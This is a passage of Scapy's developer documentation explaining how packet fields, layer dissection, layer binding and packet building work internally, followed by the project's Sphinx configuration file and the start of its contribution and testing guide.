adding or extracting a field to the current layer are: - ``addfield(self, pkt, s, val)``: copy the network representation of field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: class StrFixedLenField(StrField): def addfield(self, pkt, s, val): return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) - ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field value belonging to layer ``pkt``. It returns a list, the 1st element is the raw packet string after having removed the extracted field, the second one is the extracted field itself in internal representation:: class StrFixedLenField(StrField): def getfield(self, pkt, s): return s[self.length:], self.m2i(pkt,s[:self.length]) When defining your own layer, you usually just need to define some ``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. Example: variable length quantities ----------------------------------- There is a way to represent integers on a variable length quantity often used in protocols, for instance when dealing with signal processing (e.g. MIDI). Each byte of the number is coded with the MSB set to 1, except the last byte. For instance, 0x123456 will be coded as 0xC8E856:: def vlenq2str(l): s = [] s.append(l & 0x7F) l = l >> 7 while l > 0: s.append( 0x80 | (l & 0x7F) ) l = l >> 7 s.reverse() return bytes(bytearray(s)) def str2vlenq(s=b""): i = l = 0 while i < len(s) and ord(s[i:i+1]) & 0x80: l = l << 7 l = l + (ord(s[i:i+1]) & 0x7F) i = i + 1 if i == len(s): warning("Broken vlenq: no ending byte") l = l << 7 l = l + (ord(s[i:i+1]) & 0x7F) return s[i+1:], l We will define a field which computes automatically the length of an associated string, but used that encoding format:: class VarLenQField(Field): """ variable length quantities """ __slots__ = ["fld"] def __init__(self, name, default, fld): Field.__init__(self, name, default) self.fld = fld def i2m(self, pkt, x): if x is None: f = pkt.get_field(self.fld) x = f.i2len(pkt, pkt.getfieldval(self.fld)) x = vlenq2str(x) return raw(x) def m2i(self, pkt, x): if s is None: return None, 0 return str2vlenq(x)[1] def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): return str2vlenq(s) And now, define a layer using this kind of field:: class FOO(Packet): name = "FOO" fields_desc = [ VarLenQField("len", None, "data"), StrLenField("data", "", length_from=lambda pkt: pkt.len) ] >>> f = FOO(data="A"*129) >>> f.show() ###[ FOO ]### len= None data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Here, ``len`` has yet to be computed and only the default value is displayed. This is the current internal representation of our layer. Let's force the computation now:: >>> f.show2() ###[ FOO ]### len= 129 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The method ``show2()`` displays the fields with their values as they will be sent to the network, but in a human readable way, so we see ``len=129``. Last but not least, let us look now at the machine representation:: >>> raw(f) '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. Dissecting ========== .. index:: dissecting Layers only are list of fields, but what is the glue between each field, and after, between each layer. These are the mysteries explain in this section. The basic stuff --------------- The core function for dissection is ``Packet.dissect()``:: def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) When called, ``s`` is a string containing what is going to be dissected. ``self`` points to the current layer. :: >>> p=IP("A"*20)/TCP("B"*32) WARNING: bad dataofs (4). Assuming dataofs=5 >>> p >> ``Packet.dissect()`` is called 3 times: 1. to dissect the ``"A"*20`` as an IPv4 header 2. to dissect the ``"B"*32`` as a TCP header 3. and since there are still 12 bytes in the packet, they are dissected as "``Raw``" data (which is some kind of default layer type) For a given layer, everything is quite straightforward: - ``pre_dissect()`` is called to prepare the layer. - ``do_dissect()`` perform the real dissection of the layer. - ``post_dissection()`` is called when some updates are needed on the dissected inputs (e.g. deciphering, uncompressing, ... ) - ``extract_padding()`` is an important function which should be called by every layer containing its own size, so that it can tell apart in the payload what is really related to this layer and what will be considered as additional padding bytes. - ``do_dissect_payload()`` is the function in charge of dissecting the payload (if any). It is based on ``guess_payload_class()`` (see below). Once the type of the payload is known, the payload is bound to the current layer with this new type:: def do_dissect_payload(self, s): cls = self.guess_payload_class(s) p = cls(s, _internal=1, _underlayer=self) self.add_payload(p) At the end, all the layers in the packet are dissected, and glued together with their known types. Dissecting fields ----------------- The method with all the magic between a layer and its fields is ``do_dissect()``. If you have understood the different representations of a layer, you should understand that "dissecting" a layer is building each of its fields from the machine to the internal representation. Guess what? That is exactly what ``do_dissect()`` does:: def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f] = fval return s So, it takes the raw string packet, and feed each field with it, as long as there are data or fields remaining:: >>> FOO("\xff\xff"+"B"*8) When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first field is VarLenQField. Thus, it takes bytes as long as their MSB is set, thus until (and including) the first '``B``'. This mapping is done thanks to ``VarLenQField.getfield()`` and can be cross-checked:: >>> vlenq2str(2097090) '\xff\xffB' Then, the next field is extracted the same way, until 2097090 bytes are put in ``FOO.data`` (or less if 2097090 bytes are not available, as here). If there are some bytes left after the dissection of the current layer, it is mapped in the same way to the what the next is expected to be (``Raw`` by default):: >>> FOO("\x05"+"B"*8) > Hence, we need now to understand how layers are bound together. Binding layers -------------- One of the cool features with Scapy when dissecting layers is that it tries to guess for us what the next layer is. The official way to link 2 layers is using ``bind_layers()`` function. Available inside the ``packet`` module, this function can be used as following:: bind_layers(ProtoA, ProtoB, FieldToBind=Value) Each time a packet ``ProtoA()/ProtoB()`` will be created, the ``FieldToBind`` of ``ProtoA`` will be equal to ``Value``. For instance, if you have a class ``HTTP``, you may expect that all the packets coming from or going to port 80 will be decoded as such. This is simply done that way:: bind_layers( TCP, HTTP, sport=80 ) bind_layers( TCP, HTTP, dport=80 ) That's all folks! Now every packet related to port 80 will be associated to the layer ``HTTP``, whether it is read from a pcap file or received from the network. The ``guess_payload_class()`` way ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sometimes, guessing the payload class is not as straightforward as defining a single port. For instance, it can depend on a value of a given byte in the current layer. The 2 needed methods are: - ``guess_payload_class()`` which must return the guessed class for the payload (next layer). By default, it uses links between classes that have been put in place by ``bind_layers()``. - ``default_payload_class()`` which returns the default value. This method defined in the class ``Packet`` returns ``Raw``, but it can be overloaded. For instance, decoding 802.11 changes depending on whether it is ciphered or not:: class Dot11(Packet): def guess_payload_class(self, payload): if self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) Several comments are needed here: - this cannot be done using ``bind_layers()`` because the tests are supposed to be "``field==value``", but it is more complicated here as we test a single bit in the value of a field. - if the test fails, no assumption is made, and we plug back to the default guessing mechanisms calling ``Packet.guess_payload_class()`` Most of the time, defining a method ``guess_payload_class()`` is not a necessity as the same result can be obtained from ``bind_layers()``. Changing the default behavior ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you do not like Scapy's behavior for a given layer, you can either change or disable it through a call to ``split_layers()``. For instance, if you do not want UDP/53 to be bound with ``DNS``, just add in your code:: split_layers(UDP, DNS, sport=53) Now every packet with source port 53 will not be handled as DNS, but whatever you specify instead. Under the hood: putting everything together ------------------------------------------- In fact, each layer has a field payload_guess. When you use the bind_layers() way, it adds the defined next layers to that list. :: >>> p=TCP() >>> p.payload_guess [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] Then, when it needs to guess the next layer class, it calls the default method ``Packet.guess_payload_class()``. This method runs through each element of the list payload_guess, each element being a tuple: - the 1st value is a field to test (``'dport': 2000``) - the 2nd value is the guessed class if it matches (``Skinny``) So, the default ``guess_payload_class()`` tries all element in the list, until one matches. If no element are found, it then calls ``default_payload_class()``. If you have redefined this method, then yours is called, otherwise, the default one is called, and ``Raw`` type is returned. ``Packet.guess_payload_class()`` - test what is in field ``guess_payload`` - call overloaded ``guess_payload_class()`` Building ======== Building a packet is as simple as building each layer. Then, some magic happens to glue everything. Let's do magic then. The basic stuff --------------- The first thing to establish is: what does "build" mean? As we have seen, a layer can be represented in different ways (human, internal, machine). Building means going to the machine format. The second thing to understand is ''when'' a layer is built. The answer is not that obvious, but as soon as you need the machine representation, the layers are built: when the packet is dropped on the network or written to a file, or when it is converted as a string, ... In fact, machine representation should be regarded as a big string with the layers appended altogether. :: >>> p = IP()/TCP() >>> hexdump(p) 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 0020 50 02 20 00 91 7C 00 00 P. ..|.. Calling ``raw()`` builds the packet: - non instanced fields are set to their default value - lengths are updated automatically - checksums are computed - and so on. In fact, using ``raw()`` rather than ``show2()`` or any other method is not a random choice as all the functions building the packet calls ``Packet.__str__()`` (or ``Packet.__bytes__()`` under Python 3). However, ``__str__()`` calls another method: ``build()``:: def __str__(self): return next(iter(self)).build() What is important also to understand is that usually, you do not care about the machine representation, that is why the human and internal representations are here. So, the core method is ``build()`` (the code has been shortened to keep only the relevant parts):: def build(self,internal=0): pkt = self.do_build() pay = self.build_payload() p = self.post_build(pkt,pay) if not internal: pkt = self while pkt.haslayer(Padding): pkt = pkt.getlayer(Padding) p += pkt.load pkt = pkt.payload return p So, it starts by building the current layer, then the payload, and ``post_build()`` is called to update some late evaluated fields (like checksums). Last, the padding is added to the end of the packet. Of course, building a layer is the same as building each of its fields, and that is exactly what ``do_build()`` does. Building fields --------------- The building of each field of a layer is called in ``Packet.do_build()``:: def do_build(self): p="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f)) return p The core function to build a field is ``addfield()``. It takes the internal view of the field and put it at the end of ``p``. Usually, this method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where ``val=self.getfieldval(f)``). If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the way it must be. For instance, if a byte is expected, ``struct.pack("B", val)`` is the right way to convert it. However, things are more complicated if ``val`` is not set, it means no default value was provided earlier, and thus the field needs to compute some "stuff" right now or later. "Right now" means thanks to ``i2m()``, if all pieces of information are available. For instance, if you have to handle a length until a certain delimiter. Ex: counting the length until a delimiter :: class XNumberField(FieldLenField): def __init__(self, name, default, sep="\r\n"): FieldLenField.__init__(self, name, default, fld) self.sep = sep def i2m(self, pkt, x): x = FieldLenField.i2m(self, pkt, x) return "%02x" % x def m2i(self, pkt, x): return int(x, 16) def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) def getfield(self, pkt, s): sep = s.find(self.sep) return s[sep:], self.m2i(pkt, s[:sep]) In this example, in ``i2m()``, if ``x`` has already a value, it is converted to its hexadecimal value. If no value is given, a length of "0" is returned. The glue is provided by ``Packet.do_build()`` which calls ``Field.addfield()`` for each field in the layer, which in turn calls ``Field.i2m()``: the layer is built IF a value was available. Handling default values: ``post_build`` --------------------------------------- A default value for a given field is sometimes either not known or impossible to compute when the fields are put together. For instance, if we used a ``XNumberField`` as defined previously in a layer, we expect it to be set to a given value when the packet is built. However, nothing is returned by ``i2m()`` if it is not set. The answer to this problem is ``Packet.post_build()``. When this method is called, the packet is already built, but some fields still need to be computed. This is typically what is required to compute checksums or lengths. In fact, this is required each time a field's value depends on something which is not in the current So, let us assume we have a packet with a ``XNumberField``, and have a look to its building process:: class Foo(Packet): fields_desc = [ ByteField("type", 0), XNumberField("len", None, "\r\n"), StrFixedLenField("sep", "\r\n", 2) ] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + struct.pack("!B", l) + p[2:] return p+pay When ``post_build()`` is called, ``p`` is the current layer, ``pay`` the payload, that is what has already been built. We want our length to be the full length of the data put after the separator, so we add its computation in ``post_build()``. :: >>> p = Foo()/("X"*32) >>> p.show2() ###[ Foo ]### type= 0 len= 32 sep= '\r\n' ###[ Raw ]### load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' ``len`` is correctly computed now:: >>> hexdump(raw(p)) 0000 00 32 30 0D 0A 58 58 58 58 58 58 58 58 58 58 58 .20..XXXXXXXXXXX 0010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 0020 58 58 58 58 58 XXXXX And the machine representation is the expected one. Handling default values: automatic computation ---------------------------------------------- As we have previously seen, the dissection mechanism is built upon the links between the layers created by the programmer. However, it can also be used during the building process. In the layer ``Foo()``, our first byte is the type, which defines what comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer is ``Bar1``, and so on. We would like then this field to be set automatically according to what comes next. :: class Bar1(Packet): fields_desc = [ IntField("val", 0), ] class Bar2(Packet): fields_desc = [ IPField("addr", "127.0.0.1") ] If we use these classes with nothing else, we will have trouble when dissecting the packets as nothing binds Foo layer with the multiple ``Bar*`` even when we explicitly build the packet through the call to ``show2()``:: >>> p = Foo()/Bar1(val=1337) >>> p > >>> p.show2() ###[ Foo ]### type= 0 len= 4 sep= '\r\n' ###[ Raw ]### load= '\x00\x00\x059' Problems: 1. ``type`` is still equal to 0 while we wanted it to be automatically set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)`` but this is not very convenient. 2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This is because no links have been set between ``Foo()`` and ``Bar*()``. In order to understand what we should have done to obtain the proper behavior, we must look at how the layers are assembled. When two independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are compounded with the '/' operator, it results in a new packet where the two previous instances are cloned (i.e. are now two distinct objects structurally different, but holding the same values):: def __div__(self, other): if isinstance(other, Packet): cloneA = self.copy() cloneB = other.copy() cloneA.add_payload(cloneB) return cloneA elif type(other) is str: return self/Raw(load=other) The right-hand side of the operator becomes the payload of the left-hand side. This is performed through the call to ``add_payload()``. Finally, the new packet is returned. Note: we can observe that if other isn't a ``Packet`` but a string, the ``Raw`` class is instantiated to form the payload. Like in this example:: >>> IP()/"AAAA" > Well, what ``add_payload()`` should implement? Just a link between two packets? Not only, in our case, this method will appropriately set the correct value to ``type``. Instinctively we feel that the upper layer (the right of '/') can gather the values to set the fields to the lower layer (the left of '/'). Like previously explained, there is a convenient mechanism to specify the bindings in both directions between two neighboring layers. Once again, these information must be provided to ``bind_layers()``, which will internally call ``bind_top_down()`` in charge to aggregate the fields to overload. In our case what we need to specify is:: bind_layers( Foo, Bar1, {'type':1} ) bind_layers( Foo, Bar2, {'type':2} ) Then, ``add_payload()`` iterates over the ``overload_fields`` of the upper packet (the payload), get the fields associated to the lower packet (by its type) and insert them in ``overloaded_fields``. For now, when the value of this field will be requested, ``getfieldval()`` will return the value inserted in ``overloaded_fields``. The fields are dispatched between three dictionaries: - ``fields``: fields whose the value have been explicitly set, like ``pdst`` in TCP (``pdst='42'``) - ``overloaded_fields``: overloaded fields - ``default_fields``: all the fields with their default value (these fields are initialized according to ``fields_desc`` by the constructor by calling ``init_fields()`` ). In the following code, we can observe how a field is selected and its value returned:: def getfieldval(self, attr): for f in self.fields, self.overloaded_fields, self.default_fields: if f.has_key(attr): return f[attr] return self.payload.getfieldval(attr) Fields inserted in ``fields`` have the higher priority, then ``overloaded_fields``, then finally ``default_fields``. Hence, if the field ``type`` is set in ``overloaded_fields``, its value will be returned instead of the value contained in ``default_fields``. We are now able to understand all the magic behind it! :: >>> p = Foo()/Bar1(val=0x1337) >>> p > >>> p.show() ###[ Foo ]### type= 1 len= 4 sep= '\r\n' ###[ Bar1 ]### val= 4919 Our 2 problems have been solved without us doing much: so good to be lazy :) Under the hood: putting everything together ------------------------------------------- Last but not least, it is very useful to understand when each function is called when a packet is built:: >>> hexdump(raw(p)) Packet.str=Foo Packet.iter=Foo Packet.iter=Bar1 Packet.build=Foo Packet.build=Bar1 Packet.post_build=Bar1 Packet.post_build=Foo As you can see, it first runs through the list of each field, and then build them starting from the beginning. Once all layers have been built, it then calls ``post_build()`` starting from the end. Fields ====== .. index:: single: fields Here's a list of fields that Scapy supports out of the box: Simple datatypes ---------------- Legend: - ``X`` - hexadecimal representation - ``LE`` - little endian (default is big endian = network byte order) - ``Signed`` - signed (default is unsigned) :: ByteField XByteField ShortField SignedShortField LEShortField XShortField X3BytesField # three bytes as hex XLE3BytesField # little endian three bytes as hex ThreeBytesField # three bytes as decimal LEThreeBytesField # little endian three bytes as decimal LE3BytesEnumField XLE3BytesEnumField IntField SignedIntField LEIntField LESignedIntField XIntField LongField SignedLongField LELongField LESignedLongField XLongField LELongField IEEEFloatField IEEEDoubleField BCDFloatField # binary coded decimal BitField XBitField BitFieldLenField # BitField specifying a length (used in RTP) FlagsField FloatField Enumerations ------------ Possible field values are taken from a given enumeration (list, dictionary, ...) e.g.:: ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}) :: EnumField(name, default, enum, fmt = "H") CharEnumField BitEnumField ShortEnumField LEShortEnumField ByteEnumField IntEnumField SignedIntEnumField LEIntEnumField XShortEnumField Strings ------- :: StrField(name, default, fmt="H", remain=0, shift=0) StrLenField(name, default, fld=None, length_from=None, shift=0): StrFixedLenField StrNullField StrStopField Lists and lengths ----------------- :: FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None) # A list assembled and dissected with many times the same field type # field: instance of the field that will be used to assemble and disassemble a list item # length_from: name of the FieldLenField holding the list length FieldLenField # holds the list length of a FieldList field LEFieldLenField LenField # contains len(pkt.payload) PacketField # holds packets PacketLenField # used e.g. in ISAKMP_payload_Proposal PacketListField Variable length fields ^^^^^^^^^^^^^^^^^^^^^^ This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value. Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words. The length field ~~~~~~~~~~~~~~~~ First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied to 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing:: adjust=lambda pkt,x: x For instance, if ``the_varfield`` is a list :: FieldLenField("the_lenfield", None, count_of="the_varfield") or if the length is in 16bits words:: FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2) The variable length field ~~~~~~~~~~~~~~~~~~~~~~~~~ A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ... For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield) or :: StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12) For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:: FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) Examples ^^^^^^^^ :: class TestSLF(Packet): fields_desc=[ FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt:pkt.len) ] class TestPLF(Packet): fields_desc=[ FieldLenField("len", None, count_of="plist"), PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ] class TestFLF(Packet): fields_desc=[ FieldLenField("the_lenfield", None, count_of="the_varfield"), FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield) ] class TestPkt(Packet): fields_desc = [ ByteField("f1",65), ShortField("f2",0x4244) ] def extract_padding(self, p): return "", p class TestPLF2(Packet): fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2), FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2), PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ] Test the ``FieldListField`` class:: >>> TestFLF("\x00\x02ABCDEFGHIJKL") > Special ------- :: Emph # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")), ActionField ConditionalField(fld, cond) # Wrapper to make field 'fld' only appear if # function 'cond' evals to True, e.g. # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1) # When hidden, it won't be built nor dissected and the stored value will be 'None' PadField(fld, align, padwith=None) # Add bytes after the proxified field so that it ends at # the specified alignment from its beginning BitExtendedField(extension_bit) # Field with a variable number of bytes. Each byte is made of: # - 7 bits of data # - 1 extension bit: # * 0 means that it is the last byte of the field ("stopping bit") # * 1 means that there is another byte after this one ("forwarding bit") # extension_bit is the bit number [0-7] of the extension bit in the byte MSBExtendedField, LSBExtendedField # Special cases of BitExtendedField TCP/IP ------ :: IPField SourceIPField IPoptionsField TCPOptionsField MACField DestMACField(MACField) SourceMACField(MACField) ICMPTimeStampField 802.11 ------ :: Dot11AddrMACField Dot11Addr2MACField Dot11Addr3MACField Dot11Addr4MACField Dot11SCField DNS --- :: DNSStrField DNSRRCountField DNSRRField DNSQRField ASN.1 ----- :: ASN1F_element ASN1F_field ASN1F_INTEGER ASN1F_enum_INTEGER ASN1F_STRING ASN1F_OID ASN1F_SEQUENCE ASN1F_SEQUENCE_OF ASN1F_PACKET ASN1F_CHOICE Other protocols --------------- :: NetBIOSNameField # NetBIOS (StrFixedLenField) ISAKMPTransformSetField # ISAKMP (StrLenField) TimeStampField # NTP (BitField) Design patterns =============== Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy. The following parts will present several models and conventions that can be followed when implementing a new protocol. Field naming convention ----------------------- The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following : * Do not use any value from the ``Packet.__slots__``` list as a field name (such as name, time or original), as they are reserved for Scapy internals * Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp). * Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets. Add new protocols to Scapy -------------------------- New protocols can go either in ``scapy/layers`` or to ``scapy/contrib``. Protocols in ``scapy/layers`` should be usually found on common networks, while protocols in ``scapy/contrib`` should be uncommon or specific. To be precise, ``scapy/layers`` protocols should not be importing ``scapy/contrib`` protocols, whereas ``scapy/contrib`` protocols may import both ``scapy/contrib`` and ``scapy/layers`` protocols. Scapy provides an ``explore()`` function, to search through the available layer/contrib modules. Therefore, modules contributed back to Scapy must provide information about them, knowingly: - A **contrib** module must have defined, near the top of the module (below the license header is a good place) **(without the brackets)** `Example `_ :: # scapy.contrib.description = [...] # scapy.contrib.status = [...] # scapy.contrib.name = [...] (optional) - If the contrib module does not contain any packets, and should not be indexed in `explore()`, then you should instead set:: # scapy.contrib.status = skip - A **layer** module must have a docstring, in which the first line shortly describes the module. ================================================ FILE: doc/scapy/conf.py ================================================ # -*- coding: utf-8 -*- # # Scapy documentation build configuration file, created by # sphinx-quickstart on Wed Mar 07 19:02:35 2018. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import datetime # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath('../../')) sys.path.append(os.path.abspath('_ext')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # needs_sphinx = '3.0.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinx.ext.todo', 'sphinx.ext.linkcode', 'scapy_doc' ] # Autodoc configuration autodoc_inherit_docstrings = False autodoc_default_options = { 'undoc-members': True } # Enable the todo module todo_include_todos = True # Linkcode resolver from linkcode_res import linkcode_resolve # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = 'Scapy' year = datetime.datetime.now().year copyright = '2008-%s The Scapy community' % year # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. from scapy import VERSION, VERSION_MAIN # The short X.Y version. release = VERSION_MAIN # The full version, including alpha/beta/rc tags. version = VERSION # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = 'en' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # Enable codeauthor and sectionauthor directives show_authors = True # Mock python-can autodoc_mock_imports = ["can"] # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # This is required for the alabaster theme # refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars html_sidebars = { '**': [ 'relations.html', # needs 'show_related': True theme option to display 'searchbox.html', ] } # Make :manpage directive work on HTML output. manpages_url = 'https://manpages.debian.org/{path}' # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'Scapydoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # 'papersize': 'a4paper', # The font size ('10pt', '11pt' or '12pt'). # 'pointsize': '11pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ('index', 'Scapy.tex', 'Scapy Documentation', 'The Scapy community', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'scapy', 'Scapy Documentation', ['The Scapy community'], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'Scapy', 'Scapy Documentation', 'The Scapy community', 'Scapy', '', 'Miscellaneous'), ] suppress_warnings = ["app.add_directive", "ref.python"] ================================================ FILE: doc/scapy/development.rst ================================================ ***************** Scapy development ***************** Project organization ==================== Scapy development uses the Git version control system. Scapy's reference repository is at https://github.com/secdev/scapy/. Project management is done with `Github `_. It provides a freely editable `Wiki `_ (please contribute!) that can reference tickets, changesets, files from the project. It also provides a ticket management service that is used to avoid forgetting patches or bugs. How to contribute ================= * Found a bug in Scapy? `Add a ticket `_. * Improve this documentation. * Program a new layer and share it on the mailing list, or create a pull request. * Contribute new `regression tests `_. * Upload packet samples for new protocols on the `packet samples page `_. Improve the documentation ========================= The documentation can be improved in several ways by: * Adding docstrings to the source code. * Adding usage examples to the documentation. Adding Docstrings ----------------- The Scapy source code has few explanations of what a function is doing. A docstring, by adding explanation and expected input and output parameters, helps saving time for both the layer developers and the users looking for advanced features. An example of docstring from the ``scapy.fields.FlagsField`` class: :: class FlagsField(BitField): """ Handle Flag type field Make sure all your flags have a label Example: >>> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 >>> FlagsTest(flags=0).show2().strip() ###[ FlagsTest ]### flags = :param name: field's name :param default: default value for the field :param size: number of bits in the field :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first """ It will contain a short one-line description of the class followed by some indications about its usage. You can add a usage example if it makes sense using the `doctest `_ format. Finally, the classic python signature can be added following the `sphinx documentation `_. This task works in pair with writing non regression unit tests. Documentation ------------- A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations. Testing with UTScapy ==================== What is UTScapy? ---------------- UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. Three 